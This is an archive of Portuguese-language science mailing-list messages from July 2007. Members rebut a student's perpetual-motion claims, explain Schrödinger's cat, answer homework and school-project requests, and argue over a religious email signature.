> > A palestra foi em inglês! Para um público nativo... Achei o máximo
> > de petulância.
>
> O americano, outra vez!
> "Na primeira vez que estive no Brasil, por seis meses, fui convidado a
> fazer uma apresentação na Academia Brasileira de Ciências, sobre algum
> trabalho em eletrodinâmica quântica que eu havia acabado de fazer.
> Pensei que faria a palestra em português, e dois estudantes do centro
> disseram que me ajudariam. Comecei escrevendo minha palestra em um
> português totalmente confuso. Escrevi sozinho, porque, se eles
> tivesses escrito, haveria muitas palavras que eu não sabia e não
> conseguia pronunciar corretamente. Então escrevi a palestra e eles
> ajeitaram a gramática, consertaram as palavras e deram uma melhorada.
> Mas ainda estava em um nível que eu conseguia ler com facilidade e
> saber mais ou menos o que estava falando. Eles ensaiaram comigo para
> que eu conseguisse ter uma pronúncia absolutamente correta: o "de"
> deveria ficar entre "dé" e "dê" ­ tinha de ser exatamente assim.
> Cheguei à reunião da Academia Brasileira de Ciências, e o primeiro
> palestrante, um químico, levantou-se e deu a palestra ­ em inglês. Ele
> estava tentando ser educado, ou o quê? Eu não conseguia entender o que
> ele estava dizendo, por causa de sua pronúncia, que era péssima, mas
> talvez alguma outra pessoa tivesse o mesmo sotaque e tenha conseguido
> entendê-lo; eu não sei. Então o próximo palestrante levanta-se e dá a
> palestra em inglês!
>
> Quando chegou a minha vez, levantei-me e disse: "Desculpem; eu não
> havia percebido que a língua oficial da Academia Brasileira de
> Ciências era inglês, e por isso não preparei minha palestra em inglês.
> Então, por favor, desculpem-me, mas terei de fazê-la em português".
> Daí eu li o texto, e todo mundo gostou muito. A próxima pessoa a se
> levantar diz: "Seguindo o exemplo do meu colega dos Estados Unidos,
> também farei minha apresentação em português". Então, até onde sei,
> mudei a tradição da língua utilizada na Academia Brasileira de Ciências."
> Richard Feynman 2000 - Deve ser Brincadeira, Sr. Feynman!. S. Paulo,
> Imprensa Oficial SP.
> http://www.revista.agulha.nom.br/sfcarta1.html
> -------------
> []s,
>
> Roberto Takata
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>
>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Fw: motor magnético
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 16:03

Apropos, eu estou disposto a *financiar* (não é a fundo perdido)
projetos de moto-perpétuos.

O interessado terá q pagar apenas o montante principal - sem nenhum
juros - caso tenha sucesso dentro do prazo do contrato. Do contrário,
ele deverá pagar o principal acrescido de juros equivalente a *quatro*
vezes o valor médio cobrado no mercado.

(O interessado deverá apresentar garantias - por exemplo, um carro ou
uma casa com possibilidade de retrovenda -, atestado de sanidade
mental e declaração de q está ciente de q a ciência considera
moto-contínuo uma impossibilidade.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Fw: motor magnético
FROM: "André L F S Bacci" <andrebacci.listas@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 16:52

On 7/27/07, Luiz Ferraz Netto <leobarretos@uol.com.br> wrote:
> E então pessoal, que respondo (com certa acidez) para esse consulente?

Com muita acidez: Que o atual nível de aprovação da UFPR tem deixado a desejar?

André


SUBJECT: Re: [ciencialist] Re: Fw: motor magnético
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/07/2007 21:31

Posso divulgar esse "Prêmio Takata"? :-)

[ ]s

Alvaro Augusto


----- Original Message -----
From: "rmtakata" <roberto.takata@bol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, July 27, 2007 4:03 PM
Subject: [ciencialist] Re: Fw: motor magnético


Apropos, eu estou disposto a *financiar* (não é a fundo perdido)
projetos de moto-perpétuos.

O interessado terá q pagar apenas o montante principal - sem nenhum
juros - caso tenha sucesso dentro do prazo do contrato. Do contrário,
ele deverá pagar o principal acrescido de juros equivalente a *quatro*
vezes o valor médio cobrado no mercado.

(O interessado deverá apresentar garantias - por exemplo, um carro ou
uma casa com possibilidade de retrovenda -, atestado de sanidade
mental e declaração de q está ciente de q a ciência considera
moto-contínuo uma impossibilidade.)

[]s,

Roberto Takata



SUBJECT: artigo do gato oscar
FROM: Nando <nando.str@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 27/07/2007 23:16

Interessante ler (em inglês)
http://content.nejm.org/cgi/content/full/357/4/328



Pra quem não sabe do que se trata:
http://www1.folha.uol.com.br/folha/mundo/ult94u315183.shtml




SUBJECT: Re: [ciencialist] Fw: insetos polinizadores
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 27/07/2007 23:59

D. Roseli:

Não se esqueça dos morcegos!!!

É possível levar flores e abelhas se conhecer algum apicultor: elas trabalham na classe...

sds,m

silvio
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist
Sent: Friday, July 27, 2007 11:45 AM
Subject: [ciencialist] Fw: insetos polinizadores


Takata San e demais polinizadores do grupo.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: roseli g santos
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 24 de julho de 2007 11:51
Assunto: insetos polinizadores

Caro Professor,

Me chyamo Roseli, tenh uma filha de 12 anos que está cursando a 6a. série do Ens.Fundamental . Em agosto ela participara de uma exposição cultural em sua escola, cujo tema do grupo a que ela pertence será sobre insetos polinizadores : abelhas, borboletas e vespas.
Gostaria de pedir a gentileza de saber se o senhor pode passar alguma idéia de maquete para que eles possam confeccionar relacionada ao tema.

Desde já agradeço a atenção

Grata

Roseli_dagranja@hotmail.com

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Chegou o Windows Live Spaces:você divide seu blog, suas fotos, sua lista de música e agora encontra seus amigos! É só entrar no:

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Version: 7.5.476 / Virus Database: 269.10.22/922 - Release Date: 27/07/2007 06:08

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Gato de Schoroedinger
FROM: Lucas Linzmeyer <lucas_cefetpr@yahoo.de>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 12:43

Alguém entendeu direito o paradoxo do gato de schoroedinger? Poderia explicar-me?
Grato.

Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus cum omnibus vobis.





__________________________________ Alles was der Gesundheit und Entspannung dient. BE A BETTER MEDIZINMANN! www.yahoo.de/clever

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: motor magnético
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/07/2007 16:39

Só para salientar, notem que ele disse "UFPR", não "UTFPR", hehe....

Esse pessoal não desiste. O máximo que podemos fazer é nos divertor com eles
e, durante o processo, tentar ensinar um pouco de ciência aos outros.

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: "Claudio Behling" <claubee@gmail.com>
Sent: Friday, July 27, 2007 5:27 PM
Subject: [ciencialist] Re: motor magnético


Caro Sr. Cláudio Behling,

de início, fico surpreso ao constatar, segundo indica sua mensagem, que é
"Formando em Engenharia Mecânica pela UFPR"; conheço alguns mestres lá da
Eng. da UFPR e, com certeza, vou enviar uma cópia dessa sua mensagem para
eles avaliarem.
Entendo, também, que deve ter entrado esse ano no curso superior e portanto,
ainda não teve a satisfação de ver a Termodinâmica ou mesmo os conceitos
mais básicos da Física; deve estar fazendo, ainda, um ligeiro apanhado da
Física do Ensino Médio (e quiçá também o faça para a língua portuguesa ---
'enchergavam' e outras, além de sintaxe).

Fora esses ligeiros percalços acima, resta comentar sua esdrúxula opinião
sobre 'motos contínuos', inventores e cientistas.

a) Desde a idade média, pessoas sem estrutura científica, percorrem atrás do
'moto contínuo' de primeira espécie (suponhamos que saiba o que vem a ser
isso!). Em toda história da ciência deparamos com tais 'desbravadores do
impossível' e, até então, já no séc.XXI, nem a mínima remota sombra disso
foi apresentada para funcionamento. O próprio motor magnético tão 'esperado'
da tal Cia Alemã, o tal motor revolucionário, nem conseguiu ser ajustado
para simples demonstração!
b) A sua chance de obter um aparelho que forneça energia sem consumir outra
modalidade de energia é ZERO; sua melhor chance de explorar isso é partir da
radioatividade; enquanto um elemento decai fornecerá energia --- mas, não é
moto contínuo.
c) Não se faz em Ciência declarações 'infames'; 'infames' podem ser as
interpretações que o leigo faz da Ciência.
d) A Ciência nunca rejeitou os inventores, particularmente os bons
engenheiros. A Ciência mostra o conceito do fenômeno enquadrando-o em uma
teoria vigente; o bom engenheiro gera uma praticidade para o fenômeno. Toda
a tecnologia parte disso!
Primeiro a Ciência estuda um fenômeno reprodutível, possível, e explica
porque é possível dentro de um modelo científico; ai os 'inventores'
inventam aparelhos que utilizam do conceito posto. No caso do
'moto-perpétuo' não existe nenhum modelo científico, porque não é um
fenômeno natural (não existe disso na natureza!), nem artificial (ninguém
produziu algo assim!) e nenhum inventor mostrou a mais remota aproximação de
um engenho mecânico, elétrico, gravitacional ou magnético capaz de produzir
mais energia do que consome. A termodinâmica vigente explica racionalmente a
impossibilidade dos motos-perpétuos. Nenhum inventor, até hoje e por todo o
tempo da vigência da termodinâmica, encontrará um fenômeno que viole a sua
segunda lei (vale a pena o Sr. estudá-la!).
e) Santos Dumont era um cientista, ele não fez seu avião dotado de penas
para imitar as aves e satisfazer os leigos e sim projetou-o em princípios da
fluidodinâmica, particularmente Bernoulli, velocidade e contra-pressão na
estrutura das asas seriam fatores críticos. O inventor do avião é totalmente
diferente de um inventor de moto-contínuo, ele fez e mostrou o avião ---
funcionando! Por que um 'inventor de moto contínuo não faz isso? Enquanto a
tecnologia científica progride diariamente, estamos esperando à séculos os
pseudo-cientistas apresentarem um simples modelo de moto contínuo ---
funcionando! Pode ter certeza absoluta: quando alguém trouxer um
moto-perpétuo funcionando, a termodinâmica e todos os cientistas, de muito
bom grado, admitirão seu erro e suas declarações de considerarem impossíveis
tais tipos de máquinas.
f) Ao fim e ao cabo, eu não me envergonho, dado o lastro científico que
tento acompanhar, em afirmar que moto contínuo é projeto impossível. Não é
uma afirmação infeliz e muito menos infame; é apenas científica. Só os
incautos correm atrás de coisas declaradas 'impossíveis' pela Ciência.
O Sr. é um dos incautos e, pior que isso, um desprestígio para a classe de
engenheiros e para a Universidade que freqüenta.

Agradeço o abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================
-----Mensagem Original-----
De: Claudio Behling
Para: leobarretos@uol.com.br
Enviada em: terça-feira, 24 de julho de 2007 13:04
Assunto: motor magnético


Olá!


Professor Luiz apesar da grande contribuição que o Sr. deixou devo dizer
que o Sr. pisou na bola terrivelmente com seu pragmatismo ao dizer que o
moto continuo jamais funcionará. Para o adequado caminhar da ciência sua
frase no título dizendo que o moto continuo jamais funcionará deveria
permanencer no site mesmo após a comprovação da possíbilidade no motor
magnetico tornar-se viavel e viabilizando consigo o moto-continuo. Sua
declaração foi infame não somente pelo aspecto técnico e operacional mas
especialmente por ser um atentado ao sonho humano da construção de um
dispositivo revolucionário, a críticas aos sonhos que apenas buscam a
construção de um mundo melhor por paradigmas fixos do século passado em nada
contribuirão para a construção do futuro pela próxima geração. Sendo assim
todos que gastaram tempo e energia como eu para viabilização de projetos
dessa linha sentem-se ultrajados. O time dos inventores sempre foi agredido
no mínimo moralmente ao longo da história por teóricos que não enchergavam o
óbvio. A séculos atras os homens dizem que nada mais pesado que o ar poderia
voar, mesmo tendo diante dos seus olhos os passaros para lhes provar o
contrário cotidianamente. Isso enfraqueceu e desestimulou muitos antes de
Santos Dumont. Infelizmente a humanidade não aprende e isso inclui o Sr. por
não perceber que o conhecido é insignificante perto do possivel e por isso
toda crítica aos inventores que permitiram através de passos sucessivos a
humanidade sair das cavernas e conhecer outros mundos. Deveria se
envergonhar por todos esses aspectos por sua frase infeliz e infame!!

Sugiro que o Sr. mantenha essa frase no site para simbolizar sua agressão
aos inventores e por conseguinte ao progresso da ciência e da humanidade.

Abraço!

Claudio Behling
Formando em Eng. Mecânica UFPR





SUBJECT: RES: [ciencialist] Gato de Schoroedinger
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/07/2007 17:04

O que significa isso, num fórum de ciências, como este?



Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus
cum omnibus vobis.



Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Lucas Linzmeyer
Enviada em: sábado, 28 de julho de 2007 12:43
Para: ciencialist@yahoogrupos.com.br
Assunto: [ciencialist] Gato de Schoroedinger



Alguém entendeu direito o paradoxo do gato de schoroedinger? Poderia
explicar-me?
Grato.

Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus
cum omnibus vobis.

__________________________________ Alles was der Gesundheit und Entspannung
dient. BE A BETTER MEDIZINMANN! www.yahoo.de/clever

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fw: F�sica
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 28/07/2007 17:27

Nosso engenheiro elétrico está disponível?

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: Odair Junior
Para: leobarretos@uol.com.br
Enviada em: sábado, 28 de julho de 2007 11:55
Assunto: Física


Olá professor Luís, tudo bem? Sou Odair e tenho um probleminha que não estou conseguindo resolver e estou muito curioso sobre ele. O senhor poderia me ajudar a resolvê-lo:

Um transformador elétrico é constituído por um núcleo ferromagnético envolvido por duas bobinas de fio condutor, a bobina primária com N1 espiras e a bobina secundária com N2 espiras. Uma tensão e1(t), variável no tempo, aplicada à bobina primária, origina um fluxo magnético no núcleo, também variável no tempo. Por sua vez, um fluxo variável através da bobina secundária origina uma tensão secundária e2(t). Desprezando a resistência dos enrolamentos, as perdas no núcleo e supondo que todo fluxo magnético circula através dele: a). Determine e2(t) en função de e1(t) de N1 e de N2, supondo que não há carga na bobina secundária. b). Determine a relação entre a tensão de entrada e a respectiva corrente. c). Determine o fluxo no núcleo e qual deverá ser a secção do mesmo de modo que o valor de B não exceda 0,8 T(para que não haja saturação).
Desde já agradeço muito.



[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/07/2007 17:32

Assunto: RES: [ciencialist] Gato de Schoroedinger


J. Victor: O que significa isso, num fórum de ciências, como este?

"Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus
cum omnibus vobis."

Léo: É o último espasmo para entender o gato de Schoroedinger! Tem até 'ônibus' na invocação! E, o pior de tudo, por que não se dirigiu diretamente a mim?

[]'


SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 19:33

> O que significa isso, num fórum de ciências, como este?

É um fórum de ciências, não de ateísmo.

Foque na pergunta do rapaz, não na epígrafe de sua assinatura.

Saudações,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/07/2007 19:40

"A graça do nosso senhor Jesus Cristo, o amor de Deus e a comunhão do
Espírito Santo estejam com todos vós". (II epístola de Paulo aos Coríntios,
13, 13).

Para uma primeira mensagem nesse grupo, a assinatura veio recheada de um
lamentável oportunismo!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br







----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 28, 2007 5:32 PM
Subject: Re: [ciencialist] Gato de Schoroedinger


Assunto: RES: [ciencialist] Gato de Schoroedinger


J. Victor: O que significa isso, num fórum de ciências, como este?

"Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus
cum omnibus vobis."

Léo: É o último espasmo para entender o gato de Schoroedinger! Tem até
'ônibus' na invocação! E, o pior de tudo, por que não se dirigiu diretamente
a mim?

[]'


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SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Marcos Ludwig" <reinada@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 20:38

> Para uma primeira mensagem nesse grupo, a assinatura veio recheada de um
> lamentável oportunismo!

Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a todos,
independente do credo. Cadê o "lamentável oportunismo"?

--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]


SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 28/07/2007 20:53

Bem, então vamos focar nas perguntas dele:

1. Sim, eu entendi direito o paradoxo do gato de Schrödinger;
2. Não, não posso explicar.

[ ]s

Alvaro Augusto

----- Original Message -----
From: "Marcos Ludwig" <reinada@gmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 28, 2007 7:33 PM
Subject: Re: [ciencialist] Gato de Schoroedinger


> O que significa isso, num fórum de ciências, como este?

É um fórum de ciências, não de ateísmo.

Foque na pergunta do rapaz, não na epígrafe de sua assinatura.

Saudações,
--
Marcos Ludwig
[ marcosludwig@gmail.com (GTalk/MSN) ]
[ www.sentinelas.org/reinada ]




SUBJECT: RE: [ciencialist] artigo do gato oscar
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br, pedraderoseta@yahoogrupos.com.br
DATE: 28/07/2007 22:10

Atenção:
- quem escreve é médico.
- o artigo está num jornal de medicina.
abr/M.


>From: Nando <nando.str@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] artigo do gato oscar
>Date: Fri, 27 Jul 2007 23:16:30 -0300
>
>Interessante ler (em inglês)
>http://content.nejm.org/cgi/content/full/357/4/328
>
>
>
>Pra quem não sabe do que se trata:
>http://www1.folha.uol.com.br/folha/mundo/ult94u315183.shtml
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: Gato de Schoroedinger e o bem de todos
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 22:42

Olá Marcus

Marcus: "Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a
todos, independente do credo. Cadê o "lamentável oportunismo"?"

Tem razão, não é um forum de ateísmo. Mas isso significa também que
não é um fórum de nenhuma fé, e uma assinatura como essa, em nome do
senhor Jesus não faz sentido, e poderia ser ofensiva a, por exemplo,
um mórmom que participe da lista. Ou a um Judeu ortodoxo, que nega
Jesus. Ou qualquer outra forma de crença.

Esse é sempre o problema de uma fé, de um credo, ele pressupõe a
inferioridade de todos os outros (conforme exemplo recente do papa
Chico Bento, que declara em alto e bom som que só a fé dele salva e
evita o inferno..:-)

Para constar, eu não desejo que se deseje "meu bem" a partir de
qualquer credo, em especial de credos cristãos, os mais daninhos que
se tem notícia, em minha opinião.

A pergunta poderia ser feita sem a assinatura, da mesma forma como eu
não assinaria uma pergunta em uma lista católica com um "Deus não
existe, seus trouxas". Seria, no mínimo, deselegante e má educação.

Não se "deseja o bem" dos outros apresentando sua fé pessoal, por mais
que se pretenda que essa é a única forma legítima de fazer o bem (ou
justamente por causa disso).

A recomendação, sempre pertinente, do Brudna sobre não discutir
religião e fé na lista deve incluir não apenas os ateus, que me
parecem maioria aqui (como costuma ser, em se tratando de grupos de
cientistas e de ciência), mas também os que não o são.

Para terminar, desejar o bem de todos, independente de credo, mas
acreditar que todos vão para o inferno por não acreditarem no mesmo
que a pessoa, não me parece muito razoável ou sincero.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> > Para uma primeira mensagem nesse grupo, a assinatura veio
recheada de um
> > lamentável oportunismo!
>
> Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a todos,
> independente do credo. Cadê o "lamentável oportunismo"?
>
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>




SUBJECT: Re: Gato de Schoroedinger e a proteção de Satã
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 22:49

Olá Marcus

Marcus: "Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a
todos, independente do credo."

Pensei em um exemplo bem interessante. Imagine que no lugar de desejar
a graça do senhor a todos, um satanista desejasse que todos
estivessem, "sempre perto de Satã, a única entidade real deste
universo". Como os fiéis de outras religiões se sentiriam? Como o Papa
reagiria?

Por melhor que fosse a intenção do satanista, e tanto quanto qualquer
crente, ele tem boas intenções e acredita em sua divindade (e acusa as
outras religiões de distorcerem a imagem desta), crentes, em especial
católicos e cristãos, aceitariam de bom grado essa "benção", em nome
do ecumenismo religioso?

Acredito que não.

E como esta é uma lista de ciência, e não de ateísmo, ou de qualquer
fé, e como pretendemos preservar a sensibilidade de eventuais
satanistas que a freqüentem (e vice versa), é melhor evitar qualquer
manifestação de superstições e crenças, me parece..:-)

Um abraço.

Homero

--- Em ciencialist@yahoogrupos.com.br, "Marcos Ludwig" <reinada@...>
escreveu
>
> > Para uma primeira mensagem nesse grupo, a assinatura veio
recheada de um
> > lamentável oportunismo!
>
> Esse grupo não é sobre ateísmo, e a mensagem desejava o bem a todos,
> independente do credo. Cadê o "lamentável oportunismo"?
>
> --
> Marcos Ludwig
> [ marcosludwig@... (GTalk/MSN) ]
> [ www.sentinelas.org/reinada ]
>




SUBJECT: Re: Gato de Schoroedinger
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 23:12

Olá Lucas

Lucas: "Alguém entendeu direito o paradoxo do gato de schoroedinger?
Poderia explicar-me?"

O Gato de Schrodinger é uma analogia, não um exemplo real. Ele tenta
explicar fenômenos que se aplicam ao universo quantico, não ao
macro-cosmo, e não vai entender corretamente esses fenômenos a não ser
que entenda a física envolvida.

E isso não é fácil..:-) Pois a física nesse nível envolve conceitos e
eventos que nossa mente, que evoluiu para lidar com uma faixa estreita
de fenômenos (o mundo a nossa volta, nem tão grande, nem tão pequeno),
não tem como compreender ou manusear de forma eficaz.

Dito isso, e tomando cuidado para não se perder na analogia e
"esquecer" que o que importa é a física real, vamos ver o que o Gato
tem a ver com isso..:-)

O experimento do gato pede, uma caixa (onde caiba o gato), um gato
(claro..:-), um isótopo radioativo e um veneno ou outra forma de matar
o gato.

O veneno é disposto de forma que, se o átomo radioativo decair (como
um átomo de urânio que se transforma em tório ao decair), o veneno é
liberado e mata o gato. Este ajuste é colocado dentro da caixa e esta
é selada.

Schrodinger alegava que, como não há como saber se o átomo vai, ou
não, decair, como este evento é indeterminado a partir de qualquer
capacidade de detecção prévia, e como este decaimento é determinado
apenas a partir da observação, do observador, não haveria maneira de
saber se o gato estava vivo ou morto dentro da caixa, podendo se
considerar, fisicamente (em termos de física quantiva), que o gato
estava vivo-morto ao mesmo tempo.

Antes de tentar "entender o gato de Schrodinger", tente entender o
gato "não-Schrodinger", fica um pouco mais fácil.

Imagine que a mesma experiência é feita, mas no lugar de um isótopo
colocamos um disparador automático para quebrar o frasco de veneno as
12 horas. Feche a caixa da mesma forma, mas agora é possível saber se
o gato está vivo ou morto. Se for antes das 12, está vivo, se for
depois, está morto.

Sim, é claro que algo pode sair errado, o gato pode ter um enfarte do
miocárdio antes das 12 (preso na caixa, até eu teria), ou o disparador
pode falhar, ou o gato pode sobreviver ao veneno, etc. Não importa,
não é isso que os experimentos mentais estão tentando demonstrar, mas
a física por tras dessas analogias.

O exemplo com o disparador demonstra eventos que podem ser
determinados por regras, e podemos saber o que acontece, fazer
previsões. O cálculo de órbitas de planetas, que permitem enviar uma
nave pelo espaço de modo que, 8 meses depois, esta se encontre com o
planeta, é um desses eventos.

O exemplo com o gato de Schrodinger demonstra outro tipo de eventos,
quanticos, onde a indeterminação, o "colapso de onda", etc, impede
esse conhecimento prévio. Schrodinger pretende demonstrar, não que
existem gatos mortos-vivos, mas apenas explicar a física quantica.

Não deve realmente "pegar um gato e colocar na caixa" para entender o
que acontece nesse experimento. E o gato na caixa não estará vivo e
morto se o fizer..:-)

Para continuar, só usando física avançada, e apenas com muito esforço
e dedicação no processo de compreender a mesma.

Um abraço.

Homero





SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 28/07/2007 23:41

Lucas, eis ma referência: http://www.ucs.br/ccet/defq/naeq/material_didatico/textos_interativos_04.htm

[]'s do Prof. Emiliano, retornando :-)


Lucas Linzmeyer <lucas_cefetpr@yahoo.de> escreveu:
Alguém entendeu direito o paradoxo do gato de schoroedinger? Poderia explicar-me?
Grato.

Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus cum omnibus vobis.

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SUBJECT: Re: [ciencialist] Gato de Schoroedinger
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 29/07/2007 00:10

Mestre Takata: a função de coordemador foi extinta?
qual a cor da tinta?

sds.,
silvio.

----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, July 28, 2007 7:40 PM
Subject: Re: [ciencialist] Gato de Schoroedinger


"A graça do nosso senhor Jesus Cristo, o amor de Deus e a comunhão do
Espírito Santo estejam com todos vós". (II epístola de Paulo aos Coríntios,
13, 13).

Para uma primeira mensagem nesse grupo, a assinatura veio recheada de um
lamentável oportunismo!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br

----- Original Message -----
From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, July 28, 2007 5:32 PM
Subject: Re: [ciencialist] Gato de Schoroedinger

Assunto: RES: [ciencialist] Gato de Schoroedinger

J. Victor: O que significa isso, num fórum de ciências, como este?

"Gratia Domini Iesu Christi et caritas Dei et communicatio Sancti Spiritus
cum omnibus vobis."

Léo: É o último espasmo para entender o gato de Schoroedinger! Tem até
'ônibus' na invocação! E, o pior de tudo, por que não se dirigiu diretamente
a mim?

[]'

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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Ficção pseudocientífica
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 29/07/2007 01:08

Ou seria pseudo-ficção-científica? :-)

Convergência - I <http://100nexos.com/arquivo/215>


"É evidente que pensam ser a missão mais importante da História", explicou *
Lupov*. "Viagem no tempo, afinal". Sua velha face não denunciava nenhum
sorriso, e seu leve sotaque russo apenas tornava a situação mais tensa. Um
pesadelo remoto do professor *Adell *se realizava - um grupo de malucos o
seqüestrava para tentar viajar no tempo. De alguma forma entenderam o
que "*Operações
Transitivas fechadas e o Princípio de Incerteza*" significava.

"Se pudéssemos alterar a história, isso realmente seria 'histórico'",
arriscou brincar Adell. "Infelizmente, meu trabalho não tem qualquer relação
com isso, e pessoalmente não acho que seja possível".

"Também não acredito que seja possível, pelo menos não como eles pensam que
seria", respondeu Lupov. "Só posso lamentar que seu trabalho em verdade
esteja diretamente relacionado com esta possibilidade, o que explica por que
o seqüestraram". Não havia funcionado.

"Sim, estou aqui contra minha vontade. Você pode me ajudar a sair? O que
poderia fazer contra eles?"

"Lamento ainda mais, mas suspeito que não haja nada que você ou eu possamos
fazer, principalmente se estivermos certos, e eles, errados. Esta é a
crueldade da situação".

"E quem seriam eles?", finalmente perguntou Adell.

A resposta lhe atingiu como um golpe:

"*Majestic 12*", disse Lupov.
Continue lendo: Convergência I <http://100nexos.com/arquivo/215>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: Gato de Schoroedinger
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 29/07/2007 01:23

----- Original Message -----
From: "Marcos Ludwig"
Sent: Saturday, July 28, 2007 7:33 PM
Subject: Re: [ciencialist] Gato de Schoroedinger

> > > O que significa isso, num fórum de ciências, como este?

> > É um fórum de ciências, não de ateísmo.

> Foque na pergunta do rapaz, não na epígrafe de sua assinatura.

Caro Marcos

Houve uma época em que a Ciencialist agia exatamente desta forma.
Infelizmente isso aqui virou uma fogueira de vaidades e/ou território
de xingamentos e quero crer que a "pergunta do rapaz" ficará sem
resposta satisfatória.

Fui.

PS:

